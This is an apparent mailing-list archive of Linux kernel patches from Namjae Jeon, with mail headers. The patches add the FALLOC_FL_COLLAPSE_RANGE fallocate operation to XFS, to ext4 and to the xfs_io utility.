diff --git a/fs/xfs/xfs_bmap.h b/fs/xfs/xfs_bmap.h index 33b41f3..b16ebfa 100644 --- a/fs/xfs/xfs_bmap.h +++ b/fs/xfs/xfs_bmap.h @@ -169,5 +169,8 @@ int xfs_bunmapi(struct xfs_trans *tp, struct xfs_inode *ip, int xfs_check_nostate_extents(struct xfs_ifork *ifp, xfs_extnum_t idx, xfs_extnum_t num); uint xfs_default_attroffset(struct xfs_inode *ip); +int xfs_bmap_shift_extents(struct xfs_trans *, struct xfs_inode *, + int *, xfs_fileoff_t, xfs_fileoff_t, xfs_extnum_t *, + xfs_fsblock_t *, struct xfs_bmap_free *, int); #endif /* __XFS_BMAP_H__ */ diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c index 541d59f..57f045e 100644 --- a/fs/xfs/xfs_bmap_util.c +++ b/fs/xfs/xfs_bmap_util.c @@ -1556,6 +1556,7 @@ xfs_change_file_space( case XFS_IOC_RESVSP64: case XFS_IOC_UNRESVSP: case XFS_IOC_UNRESVSP64: + case XFS_COLLAPSE_RANGE: if (bf->l_len <= 0) return XFS_ERROR(EINVAL); break; @@ -1638,6 +1639,12 @@ xfs_change_file_space( clrprealloc = 1; break; + case XFS_COLLAPSE_RANGE: + error = xfs_collapse_file_space(ip, startoffset, bf->l_len, + attr_flags); + if (error) + return error; + break; default: ASSERT(0); @@ -1683,6 +1690,95 @@ xfs_change_file_space( return xfs_trans_commit(tp, 0); } + +/* + * xfs_collapse_file_space: Implements the FALLOC_FL_COLLAPSE_SPACE flag. + */ +int +xfs_collapse_file_space( + struct xfs_inode *ip, + loff_t offset, + loff_t len, + int attr_flags) +{ + int done = 0; + struct xfs_mount *mp = ip->i_mount; + uint resblks; + struct xfs_trans *tp; + int error; + xfs_extnum_t current_ext = 0; + struct xfs_bmap_free free_list; + xfs_fsblock_t first_block; + int committed; + xfs_fileoff_t start_fsb = XFS_B_TO_FSB(mp, offset + len); + xfs_fileoff_t shift_fsb = XFS_B_TO_FSB(mp, len); + + resblks = XFS_DIOSTRAT_SPACE_RES(mp, 0); + + /* + * The first thing we do is to free data blocks in the specified range + * by calling xfs_free_file_space(). It would also sync dirty data + * and invalidate page cache over the region on which collapse range + * is working. + */ + + error = xfs_free_file_space(ip, offset, len, attr_flags); + if (error) + return error; + + while (!error && !done) { + tp = xfs_trans_alloc(mp, XFS_TRANS_DIOSTRAT); + tp->t_flags |= XFS_TRANS_RESERVE; + /* + * We would need to reserve permanent block for transaction. + * This will come into picture when after shifting extent into + * hole we found that adjacent extents can be merged which + * may lead to freeing of a block during record update. + */ + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_write, resblks, 0); + if (error) { + ASSERT(error == ENOSPC || XFS_FORCED_SHUTDOWN(mp)); + xfs_trans_cancel(tp, 0); + break; + } + + xfs_ilock(ip, XFS_ILOCK_EXCL); + error = xfs_trans_reserve_quota(tp, mp, + ip->i_udquot, ip->i_gdquot, ip->i_pdquot, + resblks, 0, XFS_QMOPT_RES_REGBLKS); + if (error) + goto out; + + xfs_trans_ijoin(tp, ip, 0); + + xfs_bmap_init(&free_list, &first_block); + + /* + * We are using the write transaction in which max 2 bmbt + * updates are allowed + */ + error = xfs_bmap_shift_extents(tp, ip, &done, start_fsb, + shift_fsb, ¤t_ext, + &first_block, &free_list, 2); + if (error) + goto out; + + error = xfs_bmap_finish(&tp, &free_list, &committed); + if (error) + goto out; + + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); + xfs_iunlock(ip, XFS_ILOCK_EXCL); + } + + return error; + +out: + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | XFS_TRANS_ABORT); + xfs_iunlock(ip, XFS_IOLOCK_EXCL); + return error; +} + /* * We need to check that the format of the data fork in the temporary inode is * valid for the target inode before doing the swap. This is not a problem with diff --git a/fs/xfs/xfs_bmap_util.h b/fs/xfs/xfs_bmap_util.h index 0612609..588d29d 100644 --- a/fs/xfs/xfs_bmap_util.h +++ b/fs/xfs/xfs_bmap_util.h @@ -97,6 +97,8 @@ int xfs_change_file_space(struct xfs_inode *ip, int cmd, xfs_flock64_t *bf, xfs_off_t offset, int attr_flags); +int xfs_collapse_file_space(struct xfs_inode *, loff_t, loff_t, int); + /* EOF block manipulation functions */ bool xfs_can_free_eofblocks(struct xfs_inode *ip, bool force); int xfs_free_eofblocks(struct xfs_mount *mp, struct xfs_inode *ip, diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index 818c623..9c9c1ff 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -807,7 +807,8 @@ xfs_file_fallocate( int cmd = XFS_IOC_RESVSP; int attr_flags = XFS_ATTR_NOLOCK; - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_COLLAPSE_RANGE)) return -EOPNOTSUPP; bf.l_whence = 0; @@ -819,10 +820,19 @@ xfs_file_fallocate( if (mode & FALLOC_FL_PUNCH_HOLE) cmd = XFS_IOC_UNRESVSP; - /* check the new inode size is valid before allocating */ - if (!(mode & FALLOC_FL_KEEP_SIZE) && - offset + len > i_size_read(inode)) { + /* Shrink size in case of FALLOC_FL_COLLAPSE_RANGE */ + if (mode & FALLOC_FL_COLLAPSE_RANGE) { + cmd = XFS_COLLAPSE_RANGE; + if ((offset + len) > i_size_read(inode)) + new_size = offset; + else + new_size = i_size_read(inode) - len; + } else if (!(mode & FALLOC_FL_KEEP_SIZE) && + offset + len > i_size_read(inode)) new_size = offset + len; + + /* check the new inode size is valid before allocating */ + if (new_size || mode & FALLOC_FL_COLLAPSE_RANGE) { error = inode_newsize_ok(inode, new_size); if (error) goto out_unlock; @@ -836,7 +846,7 @@ xfs_file_fallocate( goto out_unlock; /* Change file size if needed */ - if (new_size) { + if (new_size || mode & FALLOC_FL_COLLAPSE_RANGE) { struct iattr iattr; iattr.ia_valid = ATTR_SIZE; diff --git a/fs/xfs/xfs_fs.h b/fs/xfs/xfs_fs.h index 1edb5cc..99f5244 100644 --- a/fs/xfs/xfs_fs.h +++ b/fs/xfs/xfs_fs.h @@ -516,6 +516,12 @@ typedef struct xfs_swapext #define XFS_IOC_GETBMAPX _IOWR('X', 56, struct getbmap) #define XFS_IOC_ZERO_RANGE _IOW ('X', 57, struct xfs_flock64) #define XFS_IOC_FREE_EOFBLOCKS _IOR ('X', 58, struct xfs_eofblocks) +/* + * Although there is no ioctl implemented yet, we reserve an ioctl number for + * representing collapse range operation to avoid any possible collision in + * switch case of xfs_change_file_space. + */ +#define XFS_COLLAPSE_RANGE _IOW('X', 59, struct xfs_flock64) /* * ioctl commands that replace IRIX syssgi()'s -- 1.7.9.5 From linkinjeon@gmail.com Sun Sep 8 08:42:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id F39F57F62 for ; Sun, 8 Sep 2013 08:42:16 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 76929AC001 for ; Sun, 8 Sep 2013 06:42:16 -0700 (PDT) X-ASG-Debug-ID: 1378647733-04cb6c2e9ce45870001-NocioJ Received: from mail-pa0-f46.google.com (mail-pa0-f46.google.com [209.85.220.46]) by cuda.sgi.com with ESMTP id KrqLAwdOI2imbCHg (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 08 Sep 2013 06:42:14 -0700 (PDT) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.220.46 X-Barracuda-IPDD: Level1 [gmail.com/209.85.220.46] Received: by mail-pa0-f46.google.com with SMTP id fa1so5187068pad.5 for ; Sun, 08 Sep 2013 06:42:13 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.220.46] X-Barracuda-IPDD: Level1 [gmail.com/209.85.220.46] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=KxLjUWGzQdb0J75Exlu1H8drkkFh+cfYxDIcWcdcHqc=; b=vbOJpchBRvHdnCR/JNMaEUntgC3kwrryZlwRP0szvrS+0kKkiDv27n1sFlJ5EwEIb2 kX9w6q24h7TKM9eAsOaHJaG5fJbDh24qUV4K76OpW02qJ2lZJJ7af7fWUNu6JknFQC/o pKkccYs8EcKrz2eAIQNjtERyOMCGi2xCnS+8EQdipRzxGpQboYnEDwSp7wbklVp83ufa 0/XTfpPackxE6JCAKxDA2t08f3uXL7163wMJapIeYVrxIDy0gCDjJdbZxoAjE3+qHbvj V8/OjKuSRHgP+arFI8cD2XtM3cC8OXP6nMNYRc0Yn2cnSQTzRApiEV1EzWeBcLsmSJe2 bAlg== X-Received: by 10.68.238.104 with SMTP id vj8mr1415184pbc.149.1378647733720; Sun, 08 Sep 2013 06:42:13 -0700 (PDT) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.169]) by mx.google.com with ESMTPSA id ye1sm11058737pab.19.1969.12.31.16.00.00 (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 08 Sep 2013 06:42:13 -0700 (PDT) From: Namjae Jeon To: viro@zeniv.linux.org.uk, mtk.manpages@gmail.com, tytso@mit.edu, adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, david@fromorbit.com Cc: linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon , Namjae Jeon Subject: [PATCH v3 3/7] ext4: add support FALLOC_FL_COLLAPSE_RANGE for fallocate Date: Sun, 8 Sep 2013 22:42:05 +0900 X-ASG-Orig-Subj: [PATCH v3 3/7] ext4: add support FALLOC_FL_COLLAPSE_RANGE for fallocate Message-Id: <1378647725-2666-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pa0-f46.google.com[209.85.220.46] X-Barracuda-Start-Time: 1378647734 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140440 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon Add support FALLOC_FL_COLLAPSE_RANGE for fallocate. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- fs/ext4/ext4.h | 3 + fs/ext4/extents.c | 286 ++++++++++++++++++++++++++++++++++++++++++- fs/ext4/move_extent.c | 2 +- include/trace/events/ext4.h | 25 ++++ 4 files changed, 314 insertions(+), 2 deletions(-) diff --git a/fs/ext4/ext4.h b/fs/ext4/ext4.h index f3c43fc..a13e0f4 100644 --- a/fs/ext4/ext4.h +++ b/fs/ext4/ext4.h @@ -2737,6 +2737,7 @@ extern int ext4_find_delalloc_cluster(struct inode *inode, ext4_lblk_t lblk); extern int ext4_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, __u64 start, __u64 len); extern int ext4_ext_precache(struct inode *inode); +extern int ext4_collapse_range(struct inode *inode, loff_t offset, loff_t len); /* move_extent.c */ extern void ext4_double_down_write_data_sem(struct inode *first, @@ -2748,6 +2749,8 @@ void ext4_inode_double_unlock(struct inode *inode1, struct inode *inode2); extern int ext4_move_extents(struct file *o_filp, struct file *d_filp, __u64 start_orig, __u64 start_donor, __u64 len, __u64 *moved_len); +extern int mext_next_extent(struct inode *inode, struct ext4_ext_path *path, + struct ext4_extent **extent); /* page-io.c */ extern int __init ext4_init_pageio(void); diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c index 54d52af..baf1faf 100644 --- a/fs/ext4/extents.c +++ b/fs/ext4/extents.c @@ -4580,12 +4580,16 @@ long ext4_fallocate(struct file *file, int mode, loff_t offset, loff_t len) unsigned int credits, blkbits = inode->i_blkbits; /* Return error if mode is not supported */ - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_COLLAPSE_RANGE)) return -EOPNOTSUPP; if (mode & FALLOC_FL_PUNCH_HOLE) return ext4_punch_hole(inode, offset, len); + if (mode & FALLOC_FL_COLLAPSE_RANGE) + return ext4_collapse_range(inode, offset, len); + ret = ext4_convert_inline_data(inode); if (ret) return ret; @@ -4884,3 +4888,283 @@ int ext4_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, ext4_es_lru_add(inode); return error; } + +/* + * ext4_access_path: + * Function to access the path buffer for marking it dirty. + * It also checks if there are sufficient credits left in the journal handle + * to update path. + */ +static int +ext4_access_path(handle_t *handle, struct inode *inode, + struct ext4_ext_path *path) +{ + int credits, err; + + /* + * Check if need to extend journal credits + * 3 for leaf, sb, and inode plus 2 (bmap and group + * descriptor) for each block group; assume two block + * groups + */ + if (handle->h_buffer_credits < 7) { + credits = ext4_writepage_trans_blocks(inode); + err = ext4_ext_truncate_extend_restart(handle, inode, credits); + /* EAGAIN is success */ + if (err && err != -EAGAIN) + return err; + } + + err = ext4_ext_get_access(handle, inode, path); + return err; +} + +/* + * ext4_ext_shift_path_extents: + * Shift the extents of a path structure lying between path[depth].p_ext + * and EXT_LAST_EXTENT(path[depth].p_hdr) downwards, by subtracting shift + * from starting block for each extent. + */ +static int +ext4_ext_shift_path_extents(struct ext4_ext_path *path, ext4_lblk_t shift, + struct inode *inode, handle_t *handle, + ext4_lblk_t *start) +{ + int depth, err = 0; + struct ext4_extent *ex_start, *ex_last; + bool update = 0; + depth = path->p_depth; + + while (depth >= 0) { + if (depth == path->p_depth) { + ex_start = path[depth].p_ext; + if (!ex_start) + return -EIO; + + ex_last = EXT_LAST_EXTENT(path[depth].p_hdr); + if (!ex_last) + return -EIO; + + err = ext4_access_path(handle, inode, path + depth); + if (err) + goto out; + + if (ex_start == EXT_FIRST_EXTENT(path[depth].p_hdr)) + update = 1; + + *start = ex_last->ee_block + + ext4_ext_get_actual_len(ex_last); + + while (ex_start <= ex_last) { + ex_start->ee_block -= shift; + ext4_ext_try_to_merge(handle, inode, + path, ex_start); + ex_start++; + } + err = ext4_ext_dirty(handle, inode, path + depth); + if (err) + goto out; + + if (--depth < 0 || !update) + break; + } + + /* Update index too */ + err = ext4_access_path(handle, inode, path + depth); + if (err) + goto out; + + path[depth].p_idx->ei_block -= shift; + err = ext4_ext_dirty(handle, inode, path + depth); + if (err) + goto out; + + /* we are done if current index is not a starting index */ + if (path[depth].p_idx != EXT_FIRST_INDEX(path[depth].p_hdr)) + break; + + depth--; + } + +out: + return err; +} + +/* + * ext4_ext_shift_extents: + * All the extents which lies in the range from start to the last allocated + * block for the file are shifted downwards by shift blocks. + * On success, 0 is returned, error otherwise. + */ +static int +ext4_ext_shift_extents(struct inode *inode, handle_t *handle, + ext4_lblk_t start, ext4_lblk_t shift) +{ + struct ext4_ext_path *path; + int ret = 0, depth; + struct ext4_extent *extent; + ext4_lblk_t stop_block, current_block; + ext4_lblk_t ex_start, ex_end; + + /* Let path point to the last extent */ + path = ext4_ext_find_extent(inode, EXT_MAX_BLOCKS - 1, NULL, 0); + if (IS_ERR(path)) + return PTR_ERR(path); + + depth = path->p_depth; + extent = path[depth].p_ext; + if (!extent) { + ext4_ext_drop_refs(path); + kfree(path); + return ret; + } + + stop_block = extent->ee_block + ext4_ext_get_actual_len(extent); + ext4_ext_drop_refs(path); + kfree(path); + + /* Nothing to shift, if hole is at the end of file */ + if (start >= stop_block) + return ret; + + /* + * Don't start shifting extents until we make sure the hole is big + * enough to accomodate the shift. + */ + path = ext4_ext_find_extent(inode, start - 1, NULL, 0); + depth = path->p_depth; + extent = path[depth].p_ext; + ex_start = extent->ee_block; + ex_end = extent->ee_block + ext4_ext_get_actual_len(extent); + ext4_ext_drop_refs(path); + kfree(path); + + if ((ex_start > start - 1 && shift > ex_start) || + (ex_end > start - shift)) + return -EIO; + + /* Its safe to start updating extents */ + while (start < stop_block) { + path = ext4_ext_find_extent(inode, start, NULL, 0); + if (IS_ERR(path)) + return PTR_ERR(path); + depth = path->p_depth; + extent = path[depth].p_ext; + current_block = extent->ee_block; + if (start > current_block) { + /* Hole, move to the next extent */ + ret = mext_next_extent(inode, path, &extent); + if (ret != 0) { + ext4_ext_drop_refs(path); + kfree(path); + if (ret == 1) + ret = 0; + break; + } + } + ret = ext4_ext_shift_path_extents(path, shift, inode, + handle, &start); + ext4_ext_drop_refs(path); + kfree(path); + if (ret) + break; + } + + return ret; +} + +/* + * ext4_collapse_range: + * This implements the fallocate's collapse range functionality for ext4 + * Returns: 0 and non-zero on error. + */ +int ext4_collapse_range(struct inode *inode, loff_t offset, loff_t len) +{ + struct super_block *sb = inode->i_sb; + ext4_lblk_t punch_start, punch_stop; + handle_t *handle; + unsigned int credits; + unsigned int rounding; + loff_t ioffset, new_size; + int ret; + + if (!S_ISREG(inode->i_mode)) + return -EOPNOTSUPP; + + if (EXT4_SB(sb)->s_cluster_ratio > 1) + return -EOPNOTSUPP; + + /* Currently just for extent based files */ + if (!ext4_test_inode_flag(inode, EXT4_INODE_EXTENTS)) + return -EOPNOTSUPP; + + if (IS_SWAPFILE(inode)) + return -ETXTBSY; + + trace_ext4_collapse_range(inode, offset, len); + + punch_start = offset >> EXT4_BLOCK_SIZE_BITS(sb); + punch_stop = (offset + len) >> EXT4_BLOCK_SIZE_BITS(sb); + + rounding = max_t(uint, 1 << EXT4_BLOCK_SIZE_BITS(sb), PAGE_CACHE_SIZE); + ioffset = offset & ~(rounding - 1); + + /* Write out all dirty pages */ + ret = filemap_write_and_wait_range(inode->i_mapping, ioffset, -1); + if (ret) + return ret; + + /* Take mutex lock */ + mutex_lock(&inode->i_mutex); + + /* Wait for existing dio to complete */ + ext4_inode_block_unlocked_dio(inode); + inode_dio_wait(inode); + + truncate_pagecache_range(inode, ioffset, -1); + + credits = ext4_writepage_trans_blocks(inode); + handle = ext4_journal_start(inode, EXT4_HT_TRUNCATE, credits); + if (IS_ERR(handle)) { + ret = PTR_ERR(handle); + goto out_dio; + } + + down_write(&EXT4_I(inode)->i_data_sem); + + ext4_discard_preallocations(inode); + + ret = ext4_es_remove_extent(inode, punch_start, + EXT_MAX_BLOCKS - punch_start - 1); + if (ret) + goto journal_stop; + + ret = ext4_ext_remove_space(inode, punch_start, punch_stop - 1); + if (ret) + goto journal_stop; + + ret = ext4_ext_shift_extents(inode, handle, punch_stop, + punch_stop - punch_start); + if (ret) + goto journal_stop; + + if ((offset + len) > i_size_read(inode)) + new_size = offset; + else + new_size = i_size_read(inode) - len; + + truncate_setsize(inode, new_size); + EXT4_I(inode)->i_disksize = new_size; + + inode->i_mtime = inode->i_ctime = ext4_current_time(inode); + ext4_mark_inode_dirty(handle, inode); + +journal_stop: + ext4_journal_stop(handle); + up_write(&EXT4_I(inode)->i_data_sem); + +out_dio: + ext4_inode_resume_unlocked_dio(inode); + mutex_unlock(&inode->i_mutex); + return ret; +} diff --git a/fs/ext4/move_extent.c b/fs/ext4/move_extent.c index 7fa4d85..4cbebb0 100644 --- a/fs/ext4/move_extent.c +++ b/fs/ext4/move_extent.c @@ -76,7 +76,7 @@ copy_extent_status(struct ext4_extent *src, struct ext4_extent *dest) * ext4_ext_path structure refers to the last extent, or a negative error * value on failure. */ -static int +int mext_next_extent(struct inode *inode, struct ext4_ext_path *path, struct ext4_extent **extent) { diff --git a/include/trace/events/ext4.h b/include/trace/events/ext4.h index 197d312..90e2f71 100644 --- a/include/trace/events/ext4.h +++ b/include/trace/events/ext4.h @@ -2410,6 +2410,31 @@ TRACE_EVENT(ext4_es_shrink_exit, __entry->shrunk_nr, __entry->cache_cnt) ); +TRACE_EVENT(ext4_collapse_range, + TP_PROTO(struct inode *inode, loff_t offset, loff_t len), + + TP_ARGS(inode, offset, len), + + TP_STRUCT__entry( + __field(dev_t, dev) + __field(ino_t, ino) + __field(loff_t, offset) + __field(loff_t, len) + ), + + TP_fast_assign( + __entry->dev = inode->i_sb->s_dev; + __entry->ino = inode->i_ino; + __entry->offset = offset; + __entry->len = len; + ), + + TP_printk("dev %d,%d ino %lu offset %lld len %lld", + MAJOR(__entry->dev), MINOR(__entry->dev), + (unsigned long) __entry->ino, + __entry->offset, __entry->len) +); + #endif /* _TRACE_EXT4_H */ /* This part must be outside protection */ -- 1.7.9.5 From linkinjeon@gmail.com Sun Sep 8 08:42:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8A78B7F5D for ; Sun, 8 Sep 2013 08:42:32 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 29DC8AC002 for ; Sun, 8 Sep 2013 06:42:32 -0700 (PDT) X-ASG-Debug-ID: 1378647751-04bdf02f22e72ef0001-NocioJ Received: from mail-pa0-f42.google.com (mail-pa0-f42.google.com [209.85.220.42]) by cuda.sgi.com with ESMTP id XJN1ptCZEnAQfBPL (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 08 Sep 2013 06:42:31 -0700 (PDT) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.220.42 Received: by mail-pa0-f42.google.com with SMTP id lj1so5236097pab.15 for ; Sun, 08 Sep 2013 06:42:31 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=48xQpZLdLmKVbic8WbF6adwB+fnH6FTv6Cyuo/Nhxmw=; b=iYzpFame67pc1F7ZYhL7JbwA/py+hbefkPlHGtNLQAFNpEibV/B+1gofXPpOrWt7IJ 9fQp17/UWnM/hsRZ8MnGgTFaUrZtRNrETgT4b6CKNz4yyRXy7eYiZbx2rEi/Xk+hKgry u5XUfYbh3zQ82bYUFamBvcja3/uzUkyjbkyx1NVvfTQlrzYhUVGEFv/b4ZbQz4XRsN1z UoQObfRYtwN0+uxjlR2+KGhjl4gvsN4nzkn1NIR4pYA1RJ311ZYeNLRH4gK0w4DFvpSM nuTJ2xCP9yepUzfS8unYaqJMQ7MYuJXKvTvJa9G/e8M9iYQjyZ5GMoKmTB7FBAJor/f/ Ly2w== X-Barracuda-BBL-IP: nil X-Received: by 10.67.14.67 with SMTP id fe3mr2050139pad.134.1378647750991; Sun, 08 Sep 2013 06:42:30 -0700 (PDT) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.169]) by mx.google.com with ESMTPSA id xs1sm11089063pac.7.1969.12.31.16.00.00 (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 08 Sep 2013 06:42:30 -0700 (PDT) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.169 To: viro@zeniv.linux.org.uk, mtk.manpages@gmail.com, tytso@mit.edu, adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, david@fromorbit.com Cc: linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon , Namjae Jeon Subject: [PATCH v3 4/7] xfsprogs: xfsio: add support FALLOC_FL_COLLAPSE_RANGE for fallocate Date: Sun, 8 Sep 2013 22:42:19 +0900 X-ASG-Orig-Subj: [PATCH v3 4/7] xfsprogs: xfsio: add support FALLOC_FL_COLLAPSE_RANGE for fallocate Message-Id: <1378647739-2700-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pa0-f42.google.com[209.85.220.42] X-Barracuda-Start-Time: 1378647751 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140440 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon Add support FALLOC_FL_COLLAPSE_RANGE for fallocate. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- io/prealloc.c | 39 ++++++++++++++++++++++++++++++++++++++- man/man8/xfs_io.8 | 6 ++++++ 2 files changed, 44 insertions(+), 1 deletion(-) diff --git a/io/prealloc.c b/io/prealloc.c index 8380646..e7ff940 100644 --- a/io/prealloc.c +++ b/io/prealloc.c @@ -29,6 +29,10 @@ #define FALLOC_FL_PUNCH_HOLE 0x02 #endif +#ifndef FALLOC_FL_COLLAPSE_RANGE +#define FALLOC_FL_COLLAPSE_RANGE 0x08 +#endif + static cmdinfo_t allocsp_cmd; static cmdinfo_t freesp_cmd; static cmdinfo_t resvsp_cmd; @@ -37,6 +41,7 @@ static cmdinfo_t zero_cmd; #if defined(HAVE_FALLOCATE) static cmdinfo_t falloc_cmd; static cmdinfo_t fpunch_cmd; +static cmdinfo_t fcollapse_cmd; #endif static int @@ -159,8 +164,11 @@ fallocate_f( int mode = 0; int c; - while ((c = getopt(argc, argv, "kp")) != EOF) { + while ((c = getopt(argc, argv, "ckp")) != EOF) { switch (c) { + case 'c': + mode = FALLOC_FL_COLLAPSE_RANGE; + break; case 'k': mode = FALLOC_FL_KEEP_SIZE; break; @@ -203,6 +211,25 @@ fpunch_f( } return 0; } + +static int +fcollapse_f( + int argc, + char **argv) +{ + xfs_flock64_t segment; + int mode = FALLOC_FL_COLLAPSE_RANGE; + + if (!offset_length(argv[1], argv[2], &segment)) + return 0; + + if (fallocate(file->fd, mode, + segment.l_start, segment.l_len)) { + perror("fallocate"); + return 0; + } + return 0; +} #endif /* HAVE_FALLOCATE */ void @@ -277,5 +304,15 @@ prealloc_init(void) fpunch_cmd.oneline = _("de-allocates space assocated with part of a file via fallocate"); add_command(&fpunch_cmd); + + fcollapse_cmd.name = "fcollapse"; + fcollapse_cmd.cfunc = fcollapse_f; + fcollapse_cmd.argmin = 2; + fcollapse_cmd.argmax = 2; + fcollapse_cmd.flags = CMD_NOMAP_OK | CMD_FOREIGN_OK; + fcollapse_cmd.args = _("off len"); + fcollapse_cmd.oneline = + _("de-allocates space and eliminates the hole by shifting extents"); + add_command(&fcollapse_cmd); #endif /* HAVE_FALLOCATE */ } diff --git a/man/man8/xfs_io.8 b/man/man8/xfs_io.8 index 767b50e..9543b20 100644 --- a/man/man8/xfs_io.8 +++ b/man/man8/xfs_io.8 @@ -380,6 +380,12 @@ will set the FALLOC_FL_KEEP_SIZE flag as described in .PD .RE .TP +.BI fcollapse " offset length" +Call fallocate with FALLOC_FL_COLLAPSE_RANGE flag as described in the +.BR fallocate (2) +manual page to de-allocates blocks and eliminates the hole created in this process +by shifting data blocks into the hole. +.TP .BI fpunch " offset length" Punches (de-allocates) blocks in the file by calling fallocate with the FALLOC_FL_PUNCH_HOLE flag as described in the -- 1.7.9.5 From linkinjeon@gmail.com Sun Sep 8 08:42:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 742487F5D for ; Sun, 8 Sep 2013 08:42:47 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 26932304032 for ; Sun, 8 Sep 2013 06:42:47 -0700 (PDT) X-ASG-Debug-ID: 1378647765-04bdf02f22e72f20001-NocioJ Received: from mail-pd0-f180.google.com (mail-pd0-f180.google.com [209.85.192.180]) by cuda.sgi.com with ESMTP id OYFDJAtQAc0dMddC (version=TLSv1 cipher=RC4-SHA bits=128 